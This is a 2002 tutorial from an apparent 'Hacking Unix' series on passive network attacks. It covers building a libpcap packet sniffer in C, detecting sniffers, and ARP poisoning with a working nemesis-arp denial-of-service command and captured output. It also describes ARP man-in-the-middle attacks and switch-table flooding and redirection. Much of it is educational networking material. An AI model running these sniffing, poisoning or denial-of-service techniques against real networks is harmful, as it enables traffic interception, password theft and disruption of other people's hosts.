PASSIVE NETWORK ATTACKS Edit started on 10/14/02 (MM-DD-YY) Edit finished on 12/30/02 (MM-DD-YY) By: detach 1. - Introduction 2. - Sniffing shared networks 2.1 - Introduction 2.2 - Sniffer construction 2.3 - Sniffer detection 2.3.1 - Local 2.3.2 - Remote 3. - Sniffing switched networks 3.1 - Introduction 3.2 - ARP poisoning 3.2.1 - ARP Introduction 3.2.2 - ARP table poisoning 3.2.3 - DoS 3.2.4 - ARP Man in the Middle 3.2.5 - Detection 3.3 - Switch table poisoning 3.3.1 - Switch Introduction 3.3.2 - Switch redirection 3.3.3 - Man in the Middle 1. Introduction So far we've been using knowledge about network protocols for information gathering. In this part I will introduce you to using weaknesses in networks for merely passive attacks. { A passive attack - unlike an active attack - does not (or less) require the attacker to induce an exploit condition. In a passive attack the attacker waits for the victim to make itself vulnerable. } We will exploit these weaknesses to cause denial of service or remote compromise of our target host. 2. Sniffing shared networks 2.1 Introduction You have probably already heard of the term `sniffing'. Sniffing - when used malicously - is a passive attack method. Sniffing will be discussed first because sniffing will be used later for other attacks. Sniffing basically is capturing network packets on the network. The network packets ofcourse can contain valueable information. Based on what information we want to sniff we divide sniffing in two categories: header sniffing and data sniffing. Header sniffing is usually used for network problem analyses purpose or to learn more about network protocols. { A header means `protocol header of a packet'. A header is like an envelope with addressing information and some other information of a specific protocol. This has been discussed in part 2 of Hacking Unix. Header sniffing is displaying information from packet headers. } With header sniffing one can keep track of the sort of connections and messages that pass the wire. Data sniffing is almost always used for malicious purpose. Data sniffing means capturing the payload (content) of each packet. For example, a sniffer program may be able to record files being exchanged through FTP data sessions, or email. But more likely a hacker will use a password sniffer, which is also sort of a data sniffer that captures logins and passwords of most well-known protocols (FTP, POP, TELNET). { Dsniff is a well-known data and password sniffer. You can get it at: http://naughty.monkey.org/~dugsong/dsniff/ } 2.2 Sniffer construction A typicall sniffer program uses two key things: * Raw socket * Promisuous (optional) network interface A sniffer registers a raw socket, which gives the sniffer access to all packets that arrive at the kernel (the operating system). A socket is an interface for the program and the kernel's network subsystem to communicate with each other (network packets). When a program registers a raw socket, this means that the kernel will send all packets it receives to the raw socket as well. A raw socket is opened with the socket() call with `SOCK_RAW' as `Type' argument. I.e.: socket( AF_INET, SOCK_RAW, 0 ); { Only a privileged user can open a raw socket } A network interface only passes packets destined to itself (it's adapter address(MAC)) to the kernel (by default). Unless the network adapter is set to `promiscuous mode'. { Only a privileged user can set the network device to promiscuous mode } In Linux you can set the device in promiscuous mode using the ifconfig command in this way: ifconfig promisc If your interface is eth0 you can do: ifconfig eth0 promisc How a sniffer program can open a network device in promiscuous mode will be discussed later. When the network device is in promiscuous mode, all data that goes over the wire will be forwarded to the operating system. The kernel forwards the packets to it's own IP module and to any open raw sockets. A malicious (privileged) user or simply the admin can monitor all unencrypted traffic that passes the wire. When you are on a shared network architecture like a ring, bus or hubbed star network, you will be able to sniff all the data that is on the LAN. In a switched network, the switches know (learn) on which line (or `port') every host is, and will send packets directly to the destination, which means that each host should only receive packets destined to itself. A switch improves security a little and increases network performance. There are techniques to make the switch leak packets to the wrong lines which will be discussed later. Sniffers are hard to detect because it is a passive `attack' method. There are methods to detect sniffers locally as well as remotely which will be discussed in chapter 2.3. A sniffer registers a raw socket. Raw sockets allow for user-space processing of packets. They could be used to development new low-level protocols in userspace for example. A normal network application doesn't have to take care of lower level protocol details, the kernel's networking stack does all this. { Programmers talk about "networking stack" or "TCP/IP stack" because of the layered model that together form a stack. } The application receives the data send by the connected remote application from the kernel using simple read() or recv() calls. The socket is the interface between the kernel's TCP/UDP/IP (or whatever) stack and the userspace application. A raw socket in contrary has access to all packets that travel by. Which is why only a privileged process can open a raw socket. A raw socket programmer needs to have fairly good understanding of protocol details. Information on how to handle the different protocols can be found in their corresponding RFC's and in your operating system's header files. { For non-programmers; "Header files" ofcourse have nothing to do with "protocol headers". "Header files" or "include files" define data types and functions available in the operating system's library which the program will be linked with. } The operating system's header files define data structures for various protocols which we can use to process various protocols. For example, here's the IP header structure from the netinet/ip.h include: /* * Structure of an internet (IP) header, naked of options. */ struct ip { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ip_hl:4; /* header length */ unsigned int ip_v:4; /* version */ #endif #if __BYTE_ORDER == __BIG_ENDIAN unsigned int ip_v:4; /* version */ unsigned int ip_hl:4; /* header length */ #endif u_int8_t ip_tos; /* type of service */ u_short ip_len; /* total length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ u_int8_t ip_ttl; /* time to live */ u_int8_t ip_p; /* protocol */ u_short ip_sum; /* checksum */ struct in_addr ip_src, ip_dst; /* source and dest address */ }; For a sniffer program you can just #include this file, so you don't have to study the RFC again. You can conveniently map the packet into the structure, you just make a pointer with the type of that structure and point it to the beginning of the IP header, which is calculated like this: /* make pointer to ip header */ ip = (struct ip*)(packet + sizeof(struct ether_header)); Herein, `packet' is a pointer to the packet. The packet looks like this in memory: FFh -------------------- | Application data | -------------------- | TCP Header | -------------------- | IP Header | -------------------- <- (const struct ip *ip) | Ethernet Header | -------------------- <- (const u_char *packet) 00h The structure ether_header{} is defined in net/ethernet.h. If we know the size of the ethernet header we can add that to the value in `packet' (the pointer) after which we point to the ip header. The struct ip perfectly matches the fields in the IP Header. Now we can read out the IP header values through the structure without worrying about where every IP field is located. We can use this to write a simple header sniffer. { To make a password sniffer, you have to find out where in the packet the username and password will be for the various protocols you want to sniff } Sadly, not all operating systems and hardware architectures work the same way. Some architectures have a different byte ordering and operating system have different means of using raw sockets. Luckily there is a library called `libpcap'; the packet capturing library. It works on many UNIX-like systems. You can make portable programs that use raw sockets with it. { Portable means that the program can be built on different kinds of operating systems and computer architectures (intel, sparc, powerpc etc.). } Although I don't want to write a pcap tutorial, I will write a simplified header sniffer. Tutorials on programming with pcap can be found on http://www.tcpdump.org/. If you are not a programmer, then you shouldn't worry if you don't understand any of this code. This code is just a sample skeleton code, it is only usable to try out some things. If you are a programmer i think you can write a complete sniffer after reading this code. There are much much better sniffers around. Like ethereal (http://www.ethereal.com) that also use libpcap. And the tcpdump source itself is a good read. -- begin husniffer.c -- /* * sniffer for Hacking UNIX by detach [http://www.duho.org/] * * Compile: gcc -o husniff husniff.c -lpcap * Run: ./husniff [filter expression] * Example: ./husniff 'port 23' * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include enum boole { FALSE, TRUE }; #define IPv 4 void proc_icmp( const u_char *packet, int eth_len, int ip_len ) { struct icmphdr *icptr; icptr = (struct icmphdr*) (packet+eth_len+ip_len); switch (icptr->type) { case ICMP_ECHOREPLY: printf("Echo Reply\n"); break; case ICMP_DEST_UNREACH: printf("Destination Unreachable: "); switch(icptr->code) { case ICMP_NET_UNREACH: printf("Net Unreachable\n"); break; case ICMP_HOST_UNREACH: printf("Host Unreachable\n"); break; case ICMP_PROT_UNREACH: printf("Protocol Unreachable\n"); break; case ICMP_PORT_UNREACH: printf("Port Unreachable\n"); break; case ICMP_FRAG_NEEDED: printf("Fragmentation needed\n"); break; case ICMP_SR_FAILED: printf("Source route failed\n"); break; case ICMP_NET_UNKNOWN: printf("Net Unknown\n"); break; case ICMP_HOST_UNKNOWN: printf("Host Unknown\n"); break; case ICMP_HOST_ISOLATED: printf("Host Isolated\n"); break; case ICMP_NET_ANO: printf("Access to network prohibited\n"); break; case ICMP_HOST_ANO: printf("Access to host prohibited\n"); break; case ICMP_NET_UNR_TOS: printf("Net Unreachable for that Type Of Service\n"); break; case ICMP_HOST_UNR_TOS: printf("Host Unreachable for that Type Of Service\n"); break; case ICMP_PKT_FILTERED: printf("Packet filtered\n"); break; case ICMP_PREC_VIOLATION: printf("Precedence violation\n"); break; case ICMP_PREC_CUTOFF: printf("Precedence cut off\n"); break; default: printf("Unknown code for this ICMP message type!\n"); } break; case ICMP_SOURCEQUENCH: printf("Source Quench\n"); break; case ICMP_REDIRECT: printf("Redirect\n"); switch(icptr->code) { case ICMP_REDIR_NET: printf("Redirect Net\n"); break; case ICMP_REDIR_HOST: printf("Redir Host\n"); break; case ICMP_REDIR_NETTOS: printf("Redirect Net for TOS\n"); break; case ICMP_REDIR_HOSTTOS: printf("Redir Host for TOS\n"); default: printf("Unknown code for this ICMP message type!\n"); } break; case ICMP_ECHO: printf("Echo Request\n"); break; case ICMP_TIME_EXCEEDED: printf("Time Exceeded: "); switch( icptr->code ) { case ICMP_EXC_TTL: printf ("TTL exceeded\n"); break; case ICMP_EXC_FRAGTIME: printf ("Fragment reassembly exceeded\n"); break; default: printf("Unknown code for this ICMP message type!\n"); } break; case ICMP_PARAMETERPROB: printf("Parameter Problem\n"); break; case ICMP_TIMESTAMP: printf("Time Stamp\n"); break; case ICMP_TIMESTAMPREPLY: printf("Time Stamp Reply\n"); break; case ICMP_INFO_REQUEST: printf("Info Request\n"); break; case ICMP_INFO_REPLY: printf("Info Reply\n"); break; case ICMP_ADDRESS: printf("Address Mask Request\n"); break; case ICMP_ADDRESSREPLY: printf("Address Mask Reply\n"); break; default: printf("Unknown ICMP Type[%d]\n", icptr->type); } } void proc_pkt( u_char *args, const struct pcap_pkthdr *header, const u_char *packet ) { char *data; struct tcphdr *tptr; struct udphdr *uptr; struct ip *iptr; struct ether_header *eptr; struct in_addr *ap; int tcp_len = sizeof( struct tcphdr ); int udp_len = sizeof( struct udphdr ); int ip_len = sizeof( struct ip ); int eth_len = sizeof( struct ether_header ); /* ethernet header */ eptr = (struct ether_header*)(packet); if (header->caplen < sizeof(struct ether_header)) { fprintf( stderr, "Truncated packet!\n" ); return; } /* Only IP packets */ /* Add ARP, RARP support yourself */ if (ntohs(eptr->ether_type)==ETHERTYPE_IP) { printf("IP[%d]", header->len); iptr = (struct ip*)(packet+eth_len); /* do some here */ } else return; if (iptr->ip_v != IPv) { fprintf( stderr, "Unknown IP version %d", iptr->ip_v ); return; } printf(" [ src; %s ", inet_ntoa(iptr->ip_src)); printf("dst; %s ] :", inet_ntoa(iptr->ip_dst)); /* switch to the appropriate protocol handler */ switch(iptr->ip_p) { case IPPROTO_IP: printf(" -> DUMMY"); break; case IPPROTO_IGMP: printf(" -> IGMP\n"); /* do some here */ break; case IPPROTO_ICMP: printf(" -> ICMP: "); proc_icmp(packet, eth_len, ip_len); break; case IPPROTO_UDP: printf(" -> UDP\n"); /* do some here */ break; case IPPROTO_TCP: printf(" -> TCP\n"); /* do some here */ break; default: printf(" -> UNKNOWN[%d]\n", iptr->ip_p); break; } } int main( int argc, char **argv ) { char *dev, /* device name */ errbuf[PCAP_ERRBUF_SIZE]; pcap_t *handler; /* pointer to packet capture descriptor */ struct bpf_program filter; /* compiled filter */ char *app; /* uncompiled filter */ bpf_u_int32 net, mask; if (argc<2) { fprintf( stderr, "No filter set, sniffing all!\n"); app=NULL; } else app = strdup(argv[1]); dev = pcap_lookupdev( errbuf ); if (dev==NULL) { fprintf( stderr, "%s\n", errbuf ); exit( 1 ); } printf( "Using device: %s\n", dev ); if (pcap_lookupnet( dev, &net, &mask, errbuf ) ==-1) { fprintf( stderr, "%s\n", errbuf ); exit( 1 ); } /* open device promisc mode */ handler = pcap_open_live(dev, BUFSIZ, TRUE, 0, errbuf); if (handler==NULL) { fprintf( stderr, "%s\n", errbuf ); exit( 1 ); } /* compile filter */ if (pcap_compile( handler, &filter, app, FALSE, net ) ==-1) { fprintf( stderr, "ERROR: %s\n", pcap_geterr( handler )); exit( 1 ); } /* apply filter */ if (pcap_setfilter(handler, &filter)==-1) { fprintf( stderr, "ERROR: %s\n", pcap_geterr( handler )); exit( 1 ); } /* capture packets, handle with proc_pkt() function */ pcap_loop(handler, -1, &proc_pkt, NULL); pcap_close(handler); exit( 0 ); } -- end husniffer.c -- If you don't want to use libpcap you have to write OS-dependent code. Check the ip, tcp, ether etc. manpages of your OS. For example in Linux you can read ip(7) etc. It is always good to read these man pages. 2.3 Sniffer detection Even though sniffing is a passive `attack', sniffers can often be detected locally and remotely. 2.3.1 Local Often a sniffer will set the network device to promiscuous mode. With the ifconfig command one can see if a device is in promiscuous mode: # ifconfig xl0 # example on openbsd xl0: flags=8943 mtu 1500 address: 00:01:02:00:00:00 media: Ethernet 10baseT (10baseT half-duplex) inet 10.0.0.1 netmask 0xffffff00 broadcast 10.0.0.255 inet6 fe80::201:2ff:fe0b:36ea%xl0 prefixlen 64 scopeid 0x2 # If you read the line with "flags=" you will see "PROMISC" there which indicates the device is in promiscuous mode. Ofcourse, there is no hacker that doesn't use some method to hide the promiscuous flag of the interface, so the method is not reliable. The hacker could have patched the ifconfig program, the kernel or used an LKM to hide this information. 2.3.2 Remote To detect a sniffer remotely you can think of trying to detect if the interface is in promiscuous mode too. What is difference does promiscuous mode make? -> The kernel receives all packets This causes more load on the system because the network card will generate alot of hardware interrupts. So sniffer detection programs can for example first ping the target system, then the detection program floods the target with packets using a different MAC address than the target has. If the device were in promiscuous mode this will give extra load. Then the detection program pings again and if responses are slow it would indicate the network device is in promiscuous mode. One other method I discuss is the common feature in sniffers to do IP address or hostname address lookups. When the sniffer receives packets from some host it tries to lookup the IP address and/or hostname of the sender (source MAC). What happens if a sniffer detection program sends packets with an non-existing source MAC address to the broadcast address? The host with the sniffer might generate a Reverse ARP request. Or, when the host has a spoofed, non-existing source IP address and it tries to do a DNS lookup on it, this would indicate a sniffer too. There are more techniques to find out if a device is in promiscuous mode, but this ain't a security tutorial :). 3. Sniffing switched networks 3.1 Introduction Sniffing on switched networks should be a little harder than on non-switched networks. In this chapter I will discuss a few techniques to sniff traffic that you are not supposed to see. 3.2 ARP poisoning 3.2.1 ARP Introduction ARP poisoning is a very easy and effective technique. ARP (Address Resolutions Protocol) is a layer 3 protocol like RARP, IP and Xerox PUP. They live on top of the link layer. In the ethernet header there is the field `protocol type', this field contains a 16-bit protocol ID. When the ethernet module receives a packet destined to it's address it will read the protocol ID and give the packet (stripped from the ethernet header) to the corresponding layer 3 module. For example 0800h for IP. In Linux the net/ethernet.h header file contains this information: /* Ethernet protocol ID's */ #define ETHERTYPE_PUP 0x0200 /* Xerox PUP */ #define ETHERTYPE_IP 0x0800 /* IP */ #define ETHERTYPE_ARP 0x0806 /* Address resolution */ #define ETHERTYPE_REVARP 0x8035 /* Reverse ARP */ The ethernet header might look like this: 00 80 48 00 00 00 <- destination ethernet address (6 bytes; 48 bit) 00 01 02 00 00 00 <- source ethernet address (6 bytes; 48 bit) 08 00 <- protocol type `IP' (2 bytes; 16 bit) You now know the position of the ARP in the OSI model: -------------------- | ARP | -------------------- <- layer 3 | Ethernet Link | -------------------- <- layer 2 | Physical network | -------------------- <- layer 1 Note that "Physical network" is just the ethernet frame being transmitted on the wire before it reaches the ethernet module of the kernel. In case of Ethernet it can be 10Base2 (thin-net), 10BaseT and 100BaseT (UTP), 10Base5 (thick-net). But who cares because this layer we won't have to deal with. The ethernet link, or simply the Link Layer is the logical link between two systems on the same local network. The physical layer doesn't see seperate connections. You are probably wondering where ARP is for. It is a multi protocol address resolution protocol. Let me explain this. I have showed you three different layer 3 protocols. You find IP and PUP there, but there are more protocols like DECNET and such. All these protocols share one problem. When one of these protocols wants to send a packet, all these protocols need to tranlate their protocol-specific address (like an IP address) to the MAC address. Instead of having all these protocols (like IP) implement their own implementations of resolvers ARP was developed. When, for example, IP wants to send a packet but doesn't know the address of the destination, it calls the ARP module to look it up for 'm. The ARP module looks up the IP address in the ARP cache table but doesn't find an entry. It drops the packet and sends out an ARP Request to the broadcast address. The packet being broadcasted causes the packet to reach every host in the LAN. Only the host with the corresponding IP address is supposed to reply. The requester receives the ARP reply packet and ARP saves the MAC address along with it's corresponding IP address and a timestamp in it's MAC table cache. Now the IP module tries to resend the packet, and now the packet can be send. The next time the IP wants to sent a packet to that host, the ARP will have the answer available. Every once in a while the ARP will want to refresh the entry to see if it's still valid, this is called `aging'. It sends a request for all entries and updates the entry's and adds a new time stamp. ARP has another property, and I'll paste that from the ARP RFC #826: --- ... if A has some reason to talk to B, then B will probably have some reason to talk to A. Notice also that if an entry already exists for the pair, then the new hardware address supersedes the old one ... --- This ofcourse means that if we (host A) just send an ARP request to another host B, then host B will add us to it's ARP table because it assumes we want to communicate. The bonus for us is that if host A is already in it's table, it will simply overwrite the entry. This means that we can simply change any entry in host B's ARP table. The specification also mentions that when host B receives an ARP reply - even if it did not send an ARP request - it will not waste the chance to update it's table with the received information. This way the timestamp is renewed, and it will take some time before the entry is renewed. 3.2.2 ARP table poisoning Over 10 years ago when they specified the ARP protocol, security wasn't really thought of. All these decisions were made based on sparing bandwidth. You can understand that by spoofing the ARP packets you cause a host to modify or add the entry which causes layer 3 addresses to be resolved to the wrong MAC addresses. All caused by simply by sending forged ARP replies or requests stating that you are the host with the IP of the other end. This is ofcourse how the ARP poisoning technique takes advantage of. With ARP spoofing we can intercept traffic of a connection between two hosts. Consider this scheme: |----------| |----------| |----------| | Host A |----------| Switch |----------| Host B | |----------| |----------| |----------| 192.168.0.1 | 192.168.0.2 00:20:AF:00:00:00 | 00:01:02:00:00:00 |----------| | Host C | |----------| 192.168.0.3 02:60:8c:00:00:00 (attacker host) Say that Host B wants to initiate a TCP connection with Host A. Host B does not yet have the MAC address of Host A in it's ARP table. Before the connection is initiated Host C sends an ARP Reply packet with the following ARP Header (simplified): |--------------------------------------------| | Destination: 00:01:02:00:00:00 (HB) | | Source: 02:60:8c:00:00:00 (HC) | <- Ethernet Header | Type: 0806h (ARP) | |--------------------------------------------| | Type Opcode: 0x0002 (ARP Reply) | | Sender MAC address: 02:60:8c:00:00:00 (HC) | <- ARP Header | Sender IP address: 192.168.0.1 (HA) | | Target MAC address: 00:01:02:00:00:00 (HB) | | Target IP address: 192.168.0.2 (HB) | |--------------------------------------------| Note: details on the ARP header will be detailed later Such a packet could cause Host B to think that host with IP number 192.168.0.1 (Host A) has MAC address 02:60:8c:00:00:00 (Host C) which will result in Host B sending packets to Host C when it really wants to send them to host A. Also note that this kind of attack can easily be used for denial of service. For example you could flood a host with spoofed ARP reply's with nonexisting `Sender MAC' addresses. Most ARP's in the various operating systems will add this MAC/IP pair to the ARP cache table upon receipt of an ARP reply, but not all. Most ARP's don't remember if they asked for the ARP Reply or not or don't care and just add it to the table. But a little more intelligent are the ones that only store such information when there is a real clue that the source of the incoming packet wants to communicate with them. For example Linux tries that. Like I said before, if we send an ARP request to the host we want to poison we could still get it's cache (or table) poisoned, because that host sees that the source host has a clear interest in having it's address and expects a new connection soon. For this we send a spoofed ARP request with these properties: |--------------------------------------------| | Destination: 00:01:02:00:00:00 (HB) | | Source: 02:60:8c:00:00:00 (HC) | <- Ethernet Header | Type: 0806h (ARP) | |--------------------------------------------| | Type Opcode: 0x0001 (ARP Request) | | Sender MAC address: 02:60:8c:00:00:00 (HC) | | Sender IP address: 192.168.0.1 (HA) | <- ARP Header | Target MAC address: 00:01:02:00:00:00 (HB) | | Target IP address: 192.168.0.2 (HB) | |--------------------------------------------| The receiving ARP module gets the request and replies to what it thinks is IP 192.168.0.1, but in reality is Host C (192.168.0.3).. it assumes that 192.168.0.1 will soon connect to it's system so it seems okay to store the MAC/IP pair of 00:60:8c:00:00:00/192.168.0.1 in it's cache. Well, Host A (192.168.0.1) doesn't contact him but the user on it's system wants to connect to Host A. So the ethernet module calls ARP and asks if it knows about IP 192.168.0.1, and clever ARP is happy to find it's MAC in the table. The ethernet frame will be addressed to MAC address 00:60:8c:00:00:00 which really is Host C. Now you are probably asking: "But how can I sniff a connection that cannot be established?". Good one, that is being discussed later in this part about "Man In The Middle Attack". And now you probably want some time to play. Well first I think you deserve some more theory about ARP ;-). Here's what a complete ARP Request header looks like: ---- 00 01 - 2 byte hardware type (0001h = ethernet) 08 00 - 2 byte protocol type (0800h = IP) 06 - 1 byte hardware address length (06h stands for 6 bytes (ethernet)) 04 - 1 byte protocol address length (04h stands for 4 bytes (ip)) 00 01 - 2 byte opcode (0001h is `request') 02 60 8c 00 00 00 - 6 byte sender MAC address c0 a8 00 01 - 4 byte sender IP address (c0a80001h = 192.168.0.1) 00 01 02 00 00 00 - 6 byte target MAC address c0 a8 00 02 - 4 byte target IP address (c0a80002h = 192.168.0.2) ---- An ARP reply has the same format, only the opcode is 0002h (reply). We see some new fields in this complete header which weren't really important for understanding the attack methodology, but they are important to understand ARP. I explained that ARP is used to resolve layer 3 protocol addresses. To make ARP layer 3 protocol independent it has a field `protocol type' and `protocol address length'. These fields are important to be able to handle ARP packets for different types of layer 3 protocols. 3.2.3 DoS Now you are ready for some real hacking. We are going to poison someones cache, please use some system you have access to so you can see the effects. Go to your Unix system and download the Nemesis program from http://www.packetfactory.net/. NOTE: ---- At the moment of writing nemesis version 1.32 does not support the latest Libnet version (1.1). So if it doesn't compile, that is probably the problem. This is a work-around: Download Libnet version 1.0.2a (or another 1.0 version) in your home directory. Now download Nemesis 1.32 to your home directory. Change your working directory to ~/Libnet-1.0.2a and type: ./configure && make Do not type 'make install'! Now go to your nemesis directory. Type './configure'. If that worked open "./Makefile" in your favorite editor. Go to the line with 'CFLAGS=' (at line 41 in my Makefile) and change the line to: CFLAGS = -Wall -O3 -funroll-loops -fomit-frame-pointer -pipe -I~/Libnet-1.0.2a/include -I/usr/local/include Now go to the next line which should be 'LIBS ='.. change it to: LIBS = -L~/Libnet-1.0.2a/lib -L/usr/local/lib -lpcap -lnet Okay if you done everything right, nemesis will now link to Libnet 1.0x and should compile. Complete with; `make && make install'. ---- Okay I hope you all managed to install nemesis. Let's do a sample denial of service attack. Telnet or SSH to another system in your network. Find out the MAC address of that system. My remote system was linux so i did "ifconfig eth0" and found the MAC 00:20:AF:2E:C5:3E. Now open another term and issue this nemesis command (requires root): # nemesis-arp -v -S -D -h 00:00:00:00:00:00 -m -T -d eth1 -H 00:00:00:00:00:00 -M Now your remote host should be non-responsive for some time... check it in your other term, your telnet or ssh session must be hanging for a short period. My local IP address is 10.0.0.1 and my remote IP address that I have an SSH session with is 10.0.0.20, look at this: ---- # nemesis-arp -v -S 10.0.0.1 -D 10.0.0.20 -h 00:00:00:00:00:00 -m 00:20:AF:2E:C5:3E -T -d eth1 -H 00:00:00:00:00:00 -M 00:20:AF:2E:C5:3E ARP/RARP Packet Injection -=- The NEMESIS Project 1.32 Copyright (C) 1999, 2000, 2001 Mark Grimes Portions copyright (C) 2001 Jeff Nathan ARP REQUEST [IP] 10.0.0.1 > 10.0.0.20 [MAC] 00:01:02:0B:36:EA > 00:20:AF:2E:C5:3E Wrote 42 byte ARP packet through linktype 1 ARP Packet Injected # ---- Why did it hang? Well let's watch the tcpdump (sniffer) output on my other vterm: ---- # tcpdump -i eth1 -v tcpdump: listening on eth1 00:07:20.312987 arp reply 10.0.0.1 (0:0:0:0:0:0) is-at 0:0:0:0:0:0 ---- Very well, host 10.0.0.1 sent an ARP reply with MAC address spoofed! Well let's see if it had worked: See the arp command output on the remote host (10.0.0.20): ---- # arp Address HWtype HWaddress Flags Mask Iface 10.0.0.1 ether 00:00:00:00:00:00 C eth0 # ---- Yes! The host simply overwrites the address. Okay.. now let's send a ping packet (ICMP Echo Request) from 10.0.0.20 (after poisoning arp table) to 10.0.0.1 (firewall) and record it with tcpdump on 10.0.0.1 (i have a hubbed LAN): ** Pay attention to the time stamps.. ** The -e switch enabled link layer information to be printed ** Ohyeah `fuck' is the hostname of 10.0.0.20, i couldn't come up with ** anything original back then :) ---- # tcpdump -i eth1 -e -v tcpdump: listening on eth1 11:25:52.827366 0:20:af:2e:c5:3e 0:0:0:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84) 11:25:53.824663 0:20:af:2e:c5:3e 0:0:0:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84) 11:25:54.824680 0:20:af:2e:c5:3e 0:0:0:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84) *** (and 26 more of these packets) 11:26:19.824612 0:20:af:2e:c5:3e 0:0:0:0:0:0 arp 60: arp who-has 10.0.0.1 tell fuck 11:26:19.825345 0:20:af:2e:c5:3e 0:0:0:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84) 11:26:20.824629 0:20:af:2e:c5:3e 0:0:0:0:0:0 arp 60: arp who-has 10.0.0.1 tell fuck 11:26:20.825364 0:20:af:2e:c5:3e 0:0:0:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84) 11:26:21.824644 0:20:af:2e:c5:3e 0:0:0:0:0:0 arp 60: arp who-has 10.0.0.1 tell fuck 11:26:21.825379 0:20:af:2e:c5:3e 0:0:0:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84) 11:26:22.824659 0:20:af:2e:c5:3e Broadcast arp 60: arp who-has 10.0.0.1 tell fuck11:26:22.824682 0:1:2:b:36:ea 0:20:af:2e:c5:3e arp 42: arp reply 10.0.0.1 is-at 0:1:2:0:0:0 11:26:22.825719 0:20:af:2e:c5:3e 0:1:2:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84) 11:26:22.825799 0:1:2:0:0:0 0:20:af:2e:c5:3e ip 98: 10.0.0.1 > fuck: icmp: echo reply (ttl 64, id 27574, len 84) 11:26:23.825146 0:20:af:2e:c5:3e 0:1:2:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84) 11:26:23.825228 0:1:2:0:0:0 0:20:af:2e:c5:3e ip 98: 10.0.0.1 > fuck: icmp: echo reply (ttl 64, id 27575, len 84) 43 packets received by filter 0 packets dropped by kernel # ---- Cool uh? It takes awhile before host 10.0.0.20 gives up and sends out the ARP request. Also note that 10.0.0.20 first sent 3 ARP Request's but to the hardware address 00:00:00:00:00:00, so 10.0.0.1 doesn't read the packet! Then the fourth time 10.0.0.20 decides to broadcast the packet, and then 10.0.0.1 does read the packet and sends the ARP reply. This means that if we send a spoofed ARP reply about every 5 seconds, it will go on forever. Let's see the output of ping on the 10.0.0.20 box: ---- $ ping 10.0.0.1 PING 10.0.0.1 (firewall): 56 octets data 64 octets from 10.0.0.1: icmp_seq=30 ttl=64 time=1.5 ms 64 octets from 10.0.0.1: icmp_seq=31 ttl=64 time=1.3 ms 64 octets from 10.0.0.1: icmp_seq=32 ttl=64 time=1.3 ms ~etcetera --- 10.0.0.1 ping statistics --- 37 packets transmitted, 7 packets received, 81% packet loss round-trip min/avg/max = 1.3/1.3/1.5 ms $ ---- What do you see? I see that the icmp_seq starts at 30. So the first reply we got from 10.0.0.1 was after 31 packets! (seq starts with 0). PING - by default - sends a packet each second, so it took about 30 seconds until ARP renewed it's entry for 10.0.0.1 on this Linux 2.4.18 box. 3.2.4 ARP Man in the Middle So how can ARP poisoning help us to sniff a system? If we poison their tables, the packets do not arrive at the destination so there won't be communication and nothing to sniff! I think you figured it out yourself.. we forward the packets to the real destination. For that we poison the destination's arp table too... then all communication will go through us, we will be like a gateway. This is called "Man in the Middle" attack (MITM). For MITM we make ourselves a gateway between to hosts using ARP poisoning. See the scheme: |--------| |--------| |--------| | Host A [--------] Switch |-------] Host B | |--------| |----_---| |--------| \ | / \ |----^---| / \ _ _ _| Hacker |_ _ _/ |--------| \_ _ = packet route The hacker poisons the table of Host A to change the entry of Host B to the address of host `Hacker'. And he poisons the table of Host B to change the entry of Host A to the address of host `Hacker'. Host `Hacker' forwards all packets, working like a gateway while sniffing all data. It is also possible for host `Hacker' to manipulate the data before it forwards it. There is a very good tool that uses this method, it's called Ettercap and you can get it here: http://ettercap.sourceforge.net/ 3.2.4 Detection It is not that hard to detect the ARP poisoning. A program can monitor the network for suspicious ARP activity. It is however not easy to protect against this, if a host supports ARP it should be vulnerable. 3.3 Switch table poisoning 3.3.1 Switch introduction The ARP poisoning technique was not really an attack against the switch itself, but some host on the LAN. The technique I'm going to introduce now is directed at the switch. I have first read about this technique in phrack magazine issue 57 article 6. From the article a software project called `taranis' was created and still exists at http://www.bitland.net/taranis/. This technique is just as easy as the ARP poisoning technique. To explain the technique I will first introduce you to how switches work. A switch is used to connect multiple computers, networks or other networked devices to one internet. The switch has a port for each connector where a wire is plugged in. The wire can connect the switch to another switch or some host's network card. The switch forwards network packets at the link layer (layer 2). This is the difference between a switch and a hub. The hub forwards packets at the physical level, which means that a hub is not intelligently forwarding the packets to the right port. The switch - working at layer 2 - reads the MAC addresses of each packet to know where to send the packet to. When the MAC address is unknown, the packet will be send to all ports. The switch knows where each host is because it learns this. Say there is a host on the first port of the switch, when it sends out it's first packet the switch reads the layer-2 source address and adds it to it's lookup table. The next time another computer sends out a packet to this address the switch sends the packet to the first port. When there are more network addresses on one port, the switch marks the entry as hub/switch 3.3.2 Switch redirection Knowing this you could have noticed two possible vulnerabilities: * what if the table is full (assuming the ammount of entries is not arbitrary), then the switch might forgot where some of the hosts are located and send all packets to all ports * we can probably spoof our source address so that packets destined to some other host arrive at our system They both work most of the time, there are some security measures in some better switch products though. The first method turns the switch into a hub but may result in DoS because of the load, - not really stealth. When using this technique we can just flood the LAN with packets with random sources which causes the switch to behave like a hub, and we can run a normal sniffer to capture all packets. The second method is discussed in the phrack article and allows for some password sniffing. The method is not really useful for man-in-the-middle attack, only impersonation of our victim's target host. { A man-in-the-middle attack requires us to work like a gateway. But how can we send packets to the host we impersonate when we have redirected it's traffic at the switch to ourself? } The advantage over the ARP method is that this method makes all other hosts connected to the same switch a victim. That is, the switch where the attacker is connected to is poisoned, so all connection attempts to the host the attacker has redirected are redirected to the attacker by the switch. 